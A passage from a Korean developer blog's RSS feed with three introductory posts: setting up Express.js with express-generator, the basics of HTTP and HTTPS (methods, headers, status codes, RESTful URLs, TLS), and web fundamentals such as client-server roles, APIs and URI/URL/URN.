      <link>https://njw.kro.kr/blog/posts/Node.js-Express.js/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/Node.js-Express.js/</guid>
      <pubDate>Mon, 29 Dec 2025 03:18:35 GMT</pubDate>
      <description><![CDATA[<h2>JS와 Node.js의 역사</h2>
<p>JS는 본래 웹 페이지를 조작하는 동적인 페이지의 핵심 중추인 언어로써 웹 브라우저를 제외한 환경에서는 쓰지 않는 언어였다.<br>하지만 2008년 9월 JS의 초창기와 달리 빨라지고 강력한 C++를 기반으로 동작하는 V8 엔진이 등장하며, 웹 브라우저가 아닌 환경에서 사용할 수 있도록 하자는 의견이 많아졌고 이에 따라 CommonJS 표준이 발표되었다.<br>이 흐름에 힘입어 2009년, CommonJS 표준, V8엔진을 이용하여 non-blocking, evnet-driven I/O 패러다임에서 작업할 수 있는 Node.js가 탄생했다.</p>
<h3>Express.js의 역사</h3>
<p>20010년 처음 개발된 Express.js는 Node.js를 위한 웹 애플리케이션 프레임워크로, 서버 측에서의 개발을 간소화하고 효율적으로 할 수 있도록 설계되었다. 이 프레임워크는 RESTful API 및 웹 애플리케이션을 구축할 때 필요한 다양한 기능을 제공한다.<br>Express.js는 빠르고 유연한 구조를 가지고 있으며, 미들웨어를 통해 요청과 응답을 처리할 수 있는 강력한 기능을 지원한다. Express.js의 주요 특징 중 하나는 라우팅 기능으로, 사용자가 정의한 경로에 따라 요청을 적절한 핸들러로 전달할 수 있다. 이러한 특성 덕분에 Express.js는 대규모 애플리케이션 개발에도 적합하다. 또한, Express.js는 다양한 미들웨어와의 호환성이 뛰어나, 개발자들이 필요에 따라 추가 기능을 쉽게 통합할 수 있다. Express.js를 기반으로 한 애플리케이션 개발은 클라이언트와 서버 간의 효과적인 데이터 교환을 가능하게 하며, 이는 현대적인 웹 개발에 필수적인 요소가 되었다.</p>
<h3>Express.js 설치</h3>
<p>Express.js를 설치하기 위해서는 먼저 Node.js가 시스템에 설치되어 있어야 한다. Node.js는 JavaScript 런타임 환경으로, Express.js가 동작하는 기반이 된다. Node.js가 설치된 후, 명령 프롬프트나 터미널을 열고 아래의 명령어를 입력하여 Express.js를 설치할 수 있다. npm(Node Package Manager)을 사용하여 설치하는 방법은 다음과 같다. ‘npm install express’라는 명령어를 입력하면 Express.js가 프로젝트에 추가된다. 설치가 완료되면, 프로젝트의 기본 파일 구조를 설정해야 한다. 이를 위해 ‘index.js’라는 파일을 생성하고 다음과 같은 기본 코드를 작성할 수 있다.</p>
<pre><code class="hljs language-dns">const express = require<span class="hljs-punctuation">(</span>&#x27;express&#x27;<span class="hljs-punctuation">)</span>
const app = express<span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span>
const port = <span class="hljs-number">3000</span>

app.get<span class="hljs-punctuation">(</span>&#x27;/&#x27;, <span class="hljs-punctuation">(</span>req, res<span class="hljs-punctuation">)</span> =&gt; {
  res.send<span class="hljs-punctuation">(</span>&#x27;Hello World!&#x27;<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span>

app.listen<span class="hljs-punctuation">(</span>port, <span class="hljs-punctuation">(</span><span class="hljs-punctuation">)</span> =&gt; {
  console.log<span class="hljs-punctuation">(</span>`Example app listening on port ${port}`<span class="hljs-punctuation">)</span>
}<span class="hljs-punctuation">)</span></code></pre>
<p>코드 작성이 완료되면 node index.js 명령어를 실행해 서버가 열리는 것을 확인할 수 있다.</p>
<p>더 자세한 설명은 <a href="https://expressjs.com/starter/installing.html" target="_blank" rel="noopener">여기</a>에서 확인 가능하다.</p>
<h4>Express.js gen으로 애플리케이션 생성하기</h4>
<p>express를 매번 설치하고 세팅해야하면 무척 힘들것이다.<br>그래서 express에선 generator를 제공한다.<br>&#39;npm install -g express-generator&#39; 명령어로 express-generator을 설치한다.<br>&#39;express&#39; 명령어를 통해 프로젝트를 생성할 수 있다.</p>
<p>사용법은 다음과 같다.</p>
<pre><code class="hljs language-inform7">기본 명령어: express <span class="hljs-comment">[옵션]</span> <span class="hljs-comment">[폴더이름]</span></code></pre>
<pre><code class="hljs language-pgsql"><span class="hljs-keyword">Options</span> (옵션):

-h, <span class="hljs-comment">--help</span>
output <span class="hljs-keyword">usage</span> information
사용법 정보(도움말)를 출력한다.

<span class="hljs-comment">--version</span>
output the <span class="hljs-keyword">version</span> number
버전 번호를 출력한다.

-e, <span class="hljs-comment">--ejs</span>
<span class="hljs-keyword">add</span> ejs engine support
EJS 엔진 지원을 추가한다. (뷰 엔진으로 EJS 사용)

<span class="hljs-comment">--hbs</span>
<span class="hljs-keyword">add</span> handlebars engine support
Handlebars 엔진 지원을 추가한다.

<span class="hljs-comment">--pug</span>
<span class="hljs-keyword">add</span> pug engine support
Pug 엔진 지원을 추가한다.

-H, <span class="hljs-comment">--hogan</span>
<span class="hljs-keyword">add</span> hogan.js engine support
Hogan.js 엔진 지원을 추가한다.

<span class="hljs-comment">--no-view</span>
generate <span class="hljs-keyword">without</span> <span class="hljs-keyword">view</span> engine
뷰 엔진 없이 생성한다. (HTML 파일 없이 서버 구조만 생성)

-v, <span class="hljs-comment">--view &lt;engine&gt;</span>
<span class="hljs-keyword">add</span> <span class="hljs-keyword">view</span> &lt;engine&gt; support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults <span class="hljs-keyword">to</span> jade)
특정 &lt;뷰 엔진&gt; 지원을 추가한다.
(선택 가능: ejs, hbs, hjs, jade, pug, twig, vash 중 하나 / 기본값은 jade)

-c, <span class="hljs-comment">--css &lt;engine&gt;</span>
<span class="hljs-keyword">add</span> stylesheet &lt;engine&gt; support (less|stylus|compass|sass) (defaults <span class="hljs-keyword">to</span> plain css)
특정 &lt;스타일시트 엔진&gt; 지원을 추가한다.
(선택 가능: less, stylus, compass, sass 중 하나 / 기본값은 일반 css)

<span class="hljs-comment">--git</span>
<span class="hljs-keyword">add</span> .gitignore
.gitignore 파일을 추가한다. (Git 관리 제외 목록 파일 생성)

-f, <span class="hljs-comment">--force</span>
force <span class="hljs-keyword">on</span> non-empty directory
비어있지 않은 디렉토리(폴더)에도 강제로 생성한다. (덮어쓰기)</code></pre>
<p>generator에서 필요한 종속성을 설치한다.</p>
<pre><code class="hljs language-bash"><span class="hljs-built_in">cd</span> myapp
npm install</code></pre>
<p>다음 명령어를 실행해 서버를 실행한다.</p>
<pre><code class="hljs language-erlang">macOS 또는 Linux에서 다음 명령어를 사용하여 앱을 실행.
<span class="hljs-string">$ </span>DEBUG=myapp:* npm start</code></pre>
<pre><code class="hljs language-routeros">Windows 명령 프롬프트에서 다음 명령을 사용하여 앱을 실행.
<span class="hljs-built_in">set</span> <span class="hljs-attribute">DEBUG</span>=myapp:* &amp; npm start</code></pre>
<pre><code class="hljs language-nginx"><span class="hljs-attribute">Windows</span> PowerShell에서 다음 명령을 사용하여 앱을 실행.
PS&gt; <span class="hljs-variable">$env</span>:DEBUG=<span class="hljs-string">&#x27;myapp:*&#x27;</span>; <span class="hljs-attribute">npm</span> start</code></pre>
<p>generator로 생성된 앱은 다음과 같은 디렉토리 구조를 가지게 된다.</p>
<pre><code class="hljs language-dns">.
├── app.js <span class="hljs-punctuation">(</span>핵심 설정 js 파일<span class="hljs-punctuation">)</span>
├── bin
│   └── www <span class="hljs-punctuation">(</span>서버 실행 파일<span class="hljs-punctuation">)</span>
├── package.json <span class="hljs-punctuation">(</span>설정 및 라이브러리 목록<span class="hljs-punctuation">)</span>
├── public <span class="hljs-punctuation">(</span>정적 파일 저장소<span class="hljs-punctuation">)</span>
│   ├── images
│   ├── javascripts
│   └── stylesheets
│       └── style.css
├── routes <span class="hljs-punctuation">(</span>컨트롤러<span class="hljs-punctuation">)</span>
│   ├── index.js
│   └── users.js
└── views <span class="hljs-punctuation">(</span>화면 템플릿<span class="hljs-punctuation">)</span>
    ├── error.pug
    ├── index.pug
    └── layout.pug</code></pre>
<h3>마무리</h3>
<p>Express.js를 구동하는 환경이 완성되었다!<br>공부를 시작해보자!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>express.js</category><category>js</category><category>node.js</category><category>백엔드</category>
    </item>
    <item>
      <title>[기초] HTTP / HTTPS 부수기 및 프로토콜 탐색.</title>
      <link>https://njw.kro.kr/blog/posts/%EA%B8%B0%EC%B4%88-HTTP-HTTPS-%EB%B6%80%EC%88%98%EA%B8%B0-%EB%B0%8F-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C-%ED%83%90%EC%83%89/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EA%B8%B0%EC%B4%88-HTTP-HTTPS-%EB%B6%80%EC%88%98%EA%B8%B0-%EB%B0%8F-%ED%94%84%EB%A1%9C%ED%86%A0%EC%BD%9C-%ED%83%90%EC%83%89/</guid>
      <pubDate>Sun, 28 Dec 2025 05:34:23 GMT</pubDate>
      <description><![CDATA[<p>HTTP / HTTPS는 웹을 이해할때 알아야하는 필수불가결한 요소이다.<br>HTTP 기초 다지기.</p>
<h2>통신 프로토콜</h2>
<p>각자의 언어만 쓸 수 있다고 가정할 때, 한 평생을 한국에서만 살았던 원어민이 외국의 원어민과 바로 소통할 수 있을까?<br>컴퓨터들의 통신도 위와 비슷하다. 오히려 위 사례는 바디랭귀지를 통해서 조금의 의사전달은 가능할 수도 있지만, 컴퓨터는 더욱 엄격하다.</p>
<blockquote>
<p>**프로토콜(Protocol)**이란, 컴퓨터나 원거리 통신 장비 사이에서 메시지를 주고 받는 엄격하게 정해진 양식과 규칙의 체계이다.</p>
</blockquote>
<p><b>컴퓨터 노드들끼리 리소스를 요청하는 등의 데이터 통신을 하기위해선 반드시 프로토콜을 사용</b>해야 한다.<br>만약 프로토콜이 없다면 컴퓨터들은 서로 무슨 말을 하는지 전혀 알아듣지 못할것이다.<br>현재까지 제정된 표준 통신 프로토콜에는 네트워크 통신의 기초가 되는 TCP/IP, <b>웹 애플리케이션이 사용하는 HTTP</b>, 파일을 주고받을 때 사용하는 FTP 등 매우 많은 종류가 있다.</p>
<h3>HTTP</h3>
<p>웹 서버에 있는 리소스를 클라이언트가 받아 보려면, 클라이언트는 웹에게 특정 리소스를 지정하여 제공해달라고 요청해야 한다. 그러면 서버가 해당 요청을 이해하고, 대응되는 동작을 통해 클라이언트에게 리소스를 반환한다. 여기서 클라이언트의 행위를 <b>요청(Request)</b>, 서버의 행위를 **응답(Response)**이라고 한다. 이때 사용되는 프로토콜이 바로 HTTP이다.</p>
<blockquote>
<p>**HTTP(Hyper Text Transfer Protocol)**란 서버와 클라이언트의 데이터 교환을 **요청(Request)**과 <b>응답(Response)</b> 형식으로 정의한 프로토콜이다.</p>
</blockquote>
<p>HTTP의 기본 메커니즘은 <b>클라이언트가 서버에게 요청하면, 서버가 응답</b>하는 것이다. <b>웹 서버는 HTTP 서버를 HTTP 서비스 포트에 대기</b>시킨다. 이 포트는 일반적으로 <b>TCP/80</b> 또는 <b>TCP/8080</b>이다. 클라이언트가 서비스 포트에 HTTP 요청을 전송하면, 이를 해석하여 적절한 응답을 반환한다.</p>
<h4>HTTP의 특징</h4>
<p>웹사이트를 사용하는 사용자는 얼마나 될까?<br>100명? 1000명? 10000명? 어쩌면 더 많을수도 있다.<br>이때 서버가 모든 통신을 계속 유지하고 수많은 클라이언트의 모든 상태를 기억한다면 틀림없이 얼마 가지못하고 다운될것이다.<br>그리하여 HTTP의 <b>비연결성(Connectionless)</b>, **무상태(Stateless)**라는 특성이 대두되었다.</p>
<p><b>- 비연결성, 무상태</b><br>HTTP는 비연결성 무상태 프로토콜이다. 서버가 클라이언트에게 받은 요청을 응답결과로 만들어서 응답을 하고 나면 바로 클라이언트와의 연결을 끊어버린다(Connectionless). 요청이 끝난 후에 서버는 클라이언트의 이전상황을 알 수 없다. 이러한 특징을 무상태(Stateless)라고 한다.<br>이러한 단점을 해결하기 위해 Cookie와 Session이 등장하였고, 또한 최근에는 토큰(JWT) 방식도 많이 사용한다.</p>
<h4>HTTP 메시지</h4>
<p>HTTP 메시지에는 클라이언트가 전송하는 HTTP 요청, 그리고 서버가 반환하는 HTTP 응답이 있다. 기능과 세부 구조에서는 차이가 있지만, 크게 보면 이들은 HTTP 헤더와 바디로 구성된다는 공통점이 있다.</p>
<p><b>1. HTTP 헤더</b><br><b>HTTP 헤더(Headers)</b> 각 줄은 CRLF(줄 종결 문자)로 구분되며, **첫 줄은 시작 줄(Start line), 나머지 줄은 헤더(Header)**라고 부른다. 헤더의 끝은 빈 줄로 나타낸다.<br>시작 줄의 역할은 요청과 응답에서 큰 차이가 있다. 그에 대한 건 밑에서 서술하겠다.<br><b>헤더</b>는 필드와 값으로 구성되며 <b>HTTP 메시지 또는 바디의 속성</b>을 나타낸다. 하나의 HTTP 메시지에는 0개 이상의 헤더가 있을 수 있다.</p>
<p><b>Connection 헤더</b><br>Connection 헤더에는 연결 유지와 관련된 내용이 들어간다.<br>웹에선 위에서 서술한 비연결적인 HTTP를 쓴다. 그런데 우리는 웹사이트 하나를 볼 때 파일 수십개를 받아야 한다. 이때 Connection 헤더를 통해 우리는 효율성을 개선할 수 있다.<br>예: </p>
<ul>
<li><b>keep-alive</b><br>기본값이다. 요청을 처리한 뒤에도 연결을 바로 끊지 않고 열어둔다.<br>(이때 말하는 연결은 물리적 연결이다. 비연결성은 논리적 연결이므로 관계가 없다.)<br>여러번의 통신이 필요할 때 속도가 무척 빠르다.</li>
<li><b>close</b><br>응답을 다 보내면 가차 없이 연결을 끊는다. 서버 리소스를 아껴야 하거나, 더 이상 주고받을 게 없을 때 명시적으로 보낸다.</li>
</ul>
<p>아래는 Connection 헤더를 제외한 자주 쓰이는 헤더의 몇가지 예시이다.</p>
<blockquote>
</blockquote>
<ul>
<li><b>Content-Type</b>: 바디에 담긴 데이터가 무엇인지 알려준다.<br>예: application/json (요즘 제일 많이 씀, JSON 데이터), text/html (HTML 문서), multipart/form-data (파일 업로드)</li>
<li><b>Content-length</b>: 바디에 담긴 데이터의 길이를 알려준다.</li>
<li><b>Authorization</b>: 인증 토큰(로그인 정보)을 서버로 보낼 때 쓴다.</li>
<li><b>User-Agent</b>: 클라이언트가 어떤 브라우저나 기기인지(PC인지 모바일인지) 알려준다.</li>
</ul>
<p><b>2. HTTP 바디</b><br>**HTTP 바디(Body)**는 헤드의 끝을 나타내는 CRLF 뒤 모든 줄을 말한다. <b>클라이언트나 서버에게 전송하려는 데이터</b>가 바디에 담긴다.</p>
<h5>HTTP 요청과 시작줄</h5>
<p>HTTP 요청은 서버에게 특정 동작을 요구하는 메시지이다. 서버는 해당 동작이 실현 가능한지, 클라이언트가 그러한 동작을 요청할 권한이 있는지 등을 검토하고, 적절할 때만 이를 처리한다.</p>
<p><b>- 시작 줄</b><br>HTTP 요청의 시작 줄은 <b>메소드(Method), 요청 대상(Request target),</b> 그리고 <b>HTTP 버전</b>으로 구성된다. 각각은 띄어쓰기로 구분한다.</p>
<p><b>메소드는 요청 대상에 대해 서버가 수행하길 바라는 동작</b>을 나타낸다. HTTP 표준에 정의된 메소드는 8개가 있으나, 여기서는 PATCH를 포함해 총 9개를 서술하겠다.</p>
<blockquote>
<ul>
<li><b>GET은 리소스를 가져와달라 요청하는 메소드</b>이다. 이용자가 브라우저에 웹 서버의 주소를 입력하거나 하이퍼링크를 클릭하면, 새로운 페이지를 렌더링하기 위해 리소스가 필요하다. 이때 브라우저는 GET 요청을 서버에 전송하여 리소스를 받아온다.</li>
</ul>
</blockquote>
<ul>
<li><b>POST는 요청 대상에게 데이터를 보내는 메소드</b>이다. 전송할 데이터는 보통 HTTP 바디에 포함된다. 로그인할 때 입력하는 ID와 비밀번호, 게시판에 작성하는 글 등이 POST로 서버에 보내진다.</li>
<li><b>PUT은 리소스를 전체 수정(대체)하는 메소드</b>이다. 클라이언트가 보낸 데이터로 서버의 기존 리소스를 완전히 덮어쓴다. 회원 정보를 수정할 때 이름, 나이, 주소 등 모든 필드를 포함한 데이터를 보내 기존 정보를 통째로 갈아끼울 때 사용된다.</li>
<li><b>PATCH는 리소스를 일부만 수정하는 메소드</b>이다. PUT과 달리, 변경하고 싶은 부분만 골라서 보낼 때 사용한다. 회원의 전체 정보 중 &#39;별명&#39; 하나만 바꾸고 싶을 때, 변경할 별명 데이터만 전송하면 나머지 정보는 유지된 채 별명만 바뀐다.</li>
<li><b>DELETE는 리소스를 삭제하는 메소드</b>이다. 서버에 존재하는 특정 데이터를 제거해달라고 요청할 때 쓰인다. 게시판에 작성한 글을 지우거나, 회원 탈퇴를 요청할 때 DELETE 메소드가 서버로 보내진다.</li>
</ul>
<p>위 POST, GET, PUT, DELETE 4가지를 묶어서 CRUD(Create, Read, Update, Delete)를 구현한다고 표현한다.<br><b>이러한 메서드를 이용해 &quot;무엇을 하는지&quot;를 표현하고 URL에는 명사(자원)만 쓰는 것을 RESTful하다고 한다.</b><br>나쁜 예와 좋은 예를 비교하면 차이가 명확하다.</p>
<table>
<thead>
<tr>
<th align="center">하는 일</th>
<th align="center">나쁜 예 (옛날 방식)</th>
<th align="center">좋은 예 (RESTful)</th>
</tr>
</thead>
<tbody><tr>
<td align="center">회원 조회</td>
<td align="center">GET /getMember?id=1</td>
<td align="center">GET /members/1</td>
</tr>
<tr>
<td align="center">회원 삭제</td>
<td align="center">GET /deleteMember</td>
<td align="center">DELETE /members/1</td>
</tr>
<tr>
<td align="center">회원 등록</td>
<td align="center">POST /create_new_member</td>
<td align="center">POST /members</td>
</tr>
<tr>
<td align="center">회원 수정</td>
<td align="center">POST /updateMemberInfo</td>
<td align="center">PUT /members/1</td>
</tr>
</tbody></table>
<p>나쁜 예의 문제는 규칙이 없다는 것이다. 개발자 A는 deleteMember라고 짓고 개발자 B는 removeUser라고 짓는다. 문서를 안 보면 도무지 알 수가 없다. <b>RESTful하게 짜면 URL만 봐도 대상이 뭔지, 메서드만 봐도 행위가 뭔지 전 세계 개발자 누구나 예측할 수 있다.</b><br><b>REST는 REpresentational State Transfer의 약자로, &quot;자원의 상태를 주고받을 때 그 자원을 명확하게 표현하는 방식으로 짜라&quot;는 뜻</b>이다. 참고로 REST 창시자 로이 필딩이 논문에서 말한 조건을 100% 만족하는 건 실무에서도 매우 어렵다. <b>&quot;URL은 명사, 메서드는 동사&quot; 규칙 정도만 잘 지켜도 RESTful하다고 인정한다.</b></p>
<p>그 외 메소드는 아래와 같다.</p>
<blockquote>
<ul>
<li><b>HEAD는 GET과 동일하지만, 응답 본문(Body)을 제외하고 헤더만 받는 메소드</b>이다. 실제 데이터는 필요 없고, 리소스가 잘 존재하는지 혹은 파일 용량이 얼마나 되는지 등의 상태 정보만 빠르게 확인하고 싶을 때 사용한다.</li>
</ul>
</blockquote>
<ul>
<li><b>OPTIONS는 서버가 허용하는 통신 옵션을 확인하는 메소드</b>이다. 서버가 어떤 메소드(GET, POST 등)를 지원하는지, 혹은 CORS(교차 출처 리소스 공유) 상황에서 이 요청을 허락해 줄 것인지 미리 찔러볼 때(Pre-flight) 주로 사용된다.</li>
<li><b>TRACE는 클라이언트의 요청이 서버에 도달하기까지의 경로를 테스트하는 메소드</b>이다. 서버는 받은 요청 메시지를 그대로 응답 본문에 담아 되돌려준다(Loop-back). 주로 네트워크 디버깅을 위해 사용되지만, 보안 위험(XST) 때문에 대부분의 서버에서는 비활성화해 둔다.</li>
<li><b>CONNECT는 대상 자원으로 식별되는 서버에 대한 터널을 설정하는 메소드</b>이다. 주로 프록시 서버를 통해 HTTPS와 같은 암호화된 연결을 맺을 때 사용된다.</li>
</ul>
<p><b>HTTP 버전은 클라이언트가 사용하는 HTTP 프로토콜의 버전</b>을 나타낸다.<br>HTTP 버전은 아래와 같은 과정을 통해 변화해왔다.</p>
<blockquote>
<ul>
<li><b>HTTP/1.1</b>:<br>가장 기본. 한 번 연결에 하나씩만 요청해서 느림. (Keep-Alive로 보완하긴 함)</li>
</ul>
</blockquote>
<ul>
<li><b>HTTP/2</b>:<br>성능 대폭 개선. 한 번 연결해서 여러 요청을 동시에 병렬로 처리함. (네이버, 구글 등 대부분이 사용 중)</li>
<li><b>HTTP/3</b>:<br>최근 등장. TCP 대신 UDP를 기반으로 하여 더 빠름.<br>하지만, 일반 UDP와 다르게 기존 UDP 위에 퀵(QUIC)이라는 새로운 프로토콜을 얹어 TCP의 장점(신뢰성 등..)이 소프트웨어적으로 구현되어있다.</li>
</ul>
<p>이 외에 <b>요청 URI는 메소드의 대상</b>을 나타낸다.</p>
<h5>HTTP 응답과 시작줄</h5>
<p>HTTP 응답은 HTTP 요청에 대한 결과를 반환하는 메시지이다. 요청을 수행했는지, 혹은 하지 않았는지, 안 했다면 이유는 무엇인지와 같은 <b>상태 정보(Status)</b>, 그리고 <b>클라이언트에게 전송할 리소스</b>가 응답에 포함된다.</p>
<p><b>- 시작 줄</b><br>HTTP 응답의 시작 줄은 <b>HTTP 버전</b>, <b>상태 코드(Status Code)</b>, 그리고 **처리 사유(Reason Phrase)**로 구성된다. 각각은 띄어쓰기로 구분된다.</p>
<p>HTTP 버전은 서버에서 사용하는 HTTP 프로토콜의 버전을 나타낸다. 그리고 상태 코드는 요청에 대한 처리 결과를 세 자릿수로 나타낸다. HTTP 표준인 RFC 2616은 대략 40여개의 상태 코드를 정의하고 있는데, 각각은 첫 번째 자릿수에 따라 5개의 클래스로 분류된다. 처리 사유는 상태 코드가 발생한 이유를 짧게 기술한 것이다.</p>
<p><b>상태 코드</b></p>
<blockquote>
<ul>
<li><b>1xx</b><br>요청을 제대로 받았고, 처리가 진행 중임.</li>
</ul>
</blockquote>
<ul>
<li><b>2xx</b><br>요청이 제대로 처리됨.<br>200(OK): 성공</li>
<li><b>3xx</b><br>요청을 처리하려면, 클라이언트의 추가 동작이 필요.<br>302(Found): 다른 URL로 갈 것</li>
<li><b>4xx</b><br>클라이언트가 잘못된 요청을 보내어 처리에 실패.<br>400(Bad Request): 요청이 문법에 맞지 않음<br>401(Unauthorized): 클라이언트가 요청한 리소스에 대한 인증이 실패함<br>403(Forbidden): 클라이언트가 리소스에 요청할 권한이 없음<br>404(Not Found): 리소스가 없음</li>
<li><b>5xx</b><br>클라이언트의 요청은 유효하지만, 서버에 에러가 발생하여 처리에 실패.<br>500(Internal Server Error): 서버가 요청을 처리하다가 에러가 발생함<br>503(Service Unavailable): 서버가 과부하로 인해 요청을 처리할 수 없음</li>
</ul>
<h3>HTTPS</h3>
<p>HTTP의 응답과 요청은 평문으로 전달된다. 만약 누군가 이를 가로챈다면 중요한 정보가 유출될 수 있다. 예를 들어, 로그인할 때 전송한 POST 요청에는 대개 이용자의 ID와 비밀번호가 포함된다. 공격자가 중간에 이를 가로채면 이용자의 계정이 탈취당할 수 있다.</p>
<p>**HTTPS(HTTP over Secure socket layer)**는 <b>TLS(Transport Layer Security) 프로토콜</b>을 도입하여 이런 문제점을 보완한다. 예전에는 <b>TLS는 암호키 하나를 서버와 클라이언트 사이에 공유해 오가는 모든 HTTP 메시지를 암호화</b>한다. 공격자가 중간에 메시지를 탈취하더라도 이를 해석하는 것은 불가능하며, 결과적으로 <b>HTTP 통신이 도청과 변조로부터 보호</b>된다.</p>
<p>HTTPS가 제정된 초기에는 금융이나 정부 서비스와 같이 민감한 데이터를 취급하는 웹 서비스들 위주로 HTTPS가 사용되었다. 그러나 현재 개발되는 서비스들은 <b>규모에 상관없이 HTTPS를 사용하는 추세</b>이다.</p>
<p>웹 서버의 URL이 **http://**로 시작되면 HTTP, **https://**로 시작되면 HTTPS 프로토콜을 사용한다.</p>
<h2>마무리</h2>
<p>웹 개발자라면 반드시 알아야 하는 HTTP / HTTPS를 정리해보았다.<br>이제 HTTP 기초는 끝!</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>기초</category><category>웹</category><category>통신</category>
    </item>
    <item>
      <title>[기초] 웹 기초 부수기 및 웹 보안의 필요성!</title>
      <link>https://njw.kro.kr/blog/posts/%EC%9B%B9-%EA%B8%B0%EC%B4%88-%EC%A0%95%EB%A6%AC-%EB%B0%8F-%EC%9B%B9%EB%B3%B4%EC%95%88%EC%9D%98-%ED%95%84%EC%9A%94%EC%84%B1/</link>
      <guid isPermaLink="true">https://njw.kro.kr/blog/posts/%EC%9B%B9-%EA%B8%B0%EC%B4%88-%EC%A0%95%EB%A6%AC-%EB%B0%8F-%EC%9B%B9%EB%B3%B4%EC%95%88%EC%9D%98-%ED%95%84%EC%9A%94%EC%84%B1/</guid>
      <pubDate>Sun, 28 Dec 2025 03:34:05 GMT</pubDate>
      <description><![CDATA[<p>우리가 흔히 웹 사이트 혹은 웹이라 부르는 것의 정체는 무엇일까?<br>흔히 쉽게 지나쳐가는 웹 기초 다지기.</p>
<h2>웹🕸️</h2>
<blockquote>
<p>HTTP 통신을 이용하여 정보를 공유하는 서비스.</p>
</blockquote>
<p>우리가 웹사이트에 접속하면 HTML, CSS, JS와 같은 static한 리소스들을 불러온다.<br>이때, 정보를 제공하는 주체를 <b>서버(Server)</b> 정보를 받는 이용자를 **클라이언트(Client)**라고<br>부른다.<br>우리가 식당에 갈 때 음식을 서빙하는 사람(Server)과 음식을 주문받는 고객(Client)의 관계를 생각하면 편하다.</p>
<h3>서버와 클라이언트의 관계</h3>
<p>이렇게 보면 서버와 클라이언트의 관계가 명확히 딱딱 정해져 있는 것도 같지만, 그렇지만은 않다.</p>
<pre><code class="hljs language-erlang"><span class="hljs-string">&quot;클라이언트&quot;</span>와 <span class="hljs-string">&quot;서버&quot;</span>는 고정된 직업이 아니라, 상황에 따른 역할이다.</code></pre>
<p><b>서버가 클라이언트의 역할을 수행해 다른서버에 리소스를 요청할 때</b>가 있다.<br>반대로 <b>클라이언트 역할을 수행하던 내 컴퓨터에서 서버를 열수도</b> 있다.<br>이와 같이 서버와 클라이언트는 고정돼있지 않으며, 상황에 따라 유동적으로 변화한다.<br>더 자세히 말하자면, 서버와 클라이언트의 관계는 **&quot;누가 요청(Request)을 먼저 보냈느냐&quot;**에 따라 상대적으로 결정된다.</p>
<h4>웹 서비스와 보안</h4>
<p><b>과거의 웹서비스는 처음에 서술한 static한 작업만 처리</b>할 수 있었다.<br>HTML, CSS, JS, WebP.. 등의 리소스를 서빙만 할 수 있었다는 것이다.<br><b>현재는 과거의 웹 서비스와 달리, 이용자의 요청을 해석하고 가공하여 필요한 정보와 기능을 제공하는 능동형 서비스</b>에 가까워졌다.<br>이러한 웹의 발전은 우리의 일상을 많은 부분에서 바꿔놓았으며, 오프라인에서 이뤄지던 많은 상호작용이 현재는 디지털 형태로 변환되어 웹 서비스로 구현되고 있다.<br>웹에서 처리하는 정보 자산들이 늘어남에 따라 이를 <b>안전하게 보관하고 처리해야 할 필요성</b>도 함께 증가하였다.<br>예를 들어, 고객이 물건을 구매한다고 가정해보자. 그 과정에서 고객의 주소, 카드 번호와 같은 정보들이 웹을 통해 서버로 전달된다. 만약 이 정보들이 안전하게 보호되지 않는다면 고객에게 심각한 피해를 야기할 것이다. 그래서 <b>웹을 통한 정보의 교환 과정에서 이러한 민감한 정보들이 유출되거나 악용되지 않도록 보호하는 웹 보안</b>의 중요성이 대두하고 있다.</p>
<h4>API</h4>
<p><b>API(Application Programming Interface)는 한마디로 프로그램끼리 대화할 수 있게 해주는 연결 통로</b>다. 레스토랑 비유로 예시를 들어보겠다.<br>**손님(클라이언트)**은 배가 고파도 주방(서버)에 직접 들어가서 <b>요리를 해먹을 수 없다.</b> 대신 <b>점원(API)에게 메뉴판(API 문서)을 보고 주문을 한다.</b> 점원은 주문을 주방에 전달하고, 요리가 나오면 다시 손님에게 가져다준다. 손님은 주방이 어떻게 돌아가는지 몰라도 점원에게 말만 하면 원하는 것을 얻을 수 있다.</p>
<p>우리 주변의 예시로 보면 더 와닿는다. 날씨 앱이 직접 온도를 재지 않는다. 앱을 켜는 순간 기상청 서버의 API에게 &quot;지금 서울 기온 알려줘&quot;라고 요청을 보내고, 기상청 API가 &quot;25도야&quot;라고 응답하면 그걸 화면에 띄운다. &quot;카카오로 시작하기&quot; 버튼도 마찬가지다. 그 사이트는 내 비밀번호를 모른다. 카카오 서버의 API에게 &quot;이 사람 카카오 회원 맞아?&quot;라고 물어보고, 카카오가 인증 토큰을 돌려주면 로그인을 허용하는 것이다.</p>
<h4>URI, URL, URN</h4>
<p>웹에서 자원을 가리키는 방식에는 세 가지 개념이 있다. 관계부터 이해하면 쉽다. **URI(Uniform Resource Identifier)**는 가장 큰 개념으로, 자원을 식별하는 모든 방법을 통칭한다. **URL(Uniform Resource Locator)**과 **URN(Uniform Resource Name)**은 그 하위 개념으로, <b>URI = URL + URN</b>이 성립한다.<br>사람을 찾는 상황에 비유하면 이해하기 쉽다. <b>URL은 &quot;서울시 강남구 역삼동 123번지&quot;처럼 위치를 알려주는 방식</b>이다. <b>URN은 &quot;주민번호 900101-1234567&quot;처럼 고유한 이름으로 식별하는 방식</b>이다. 이 번호를 지도 앱에 쳐봤자 집이 나오지는 않는다.<br>사실상 99% URL을 의미하면서 URI라는 용어를 쓴다. <b>REST API에서 &quot;자원 식별자&quot;라는 의미를 강조하기 위해 URI라고 많이 부르는 것</b>이고, 일반 대화에서는 URL이라고 해도 전혀 문제없다.</p>
<h4>웹 리소스</h4>
<p><b>웹 리소스</b>란, <b>웹에 갖춰진 정보 자산</b>을 의미한다. 웹 브라우저의 주소창에 <a href="http://njw.kro.kr/index.html" target="_blank" rel="noopener">http://njw.kro.kr/index.html</a> 주소를 입력해보자. 이는 <b>njw.kro.kr</b>에 존재하는 <b>/index.html</b> 경로의 리소스를 가져오라는 의미이다. 모든 웹 리소스는 고유의 **Uniform Resource Identifier (URI)**를 가지며, 이를 이용하여 식별된다. 웹의 프론트엔드를 구성하는 대표적인 웹 리소스들은 다음과 같다.</p>
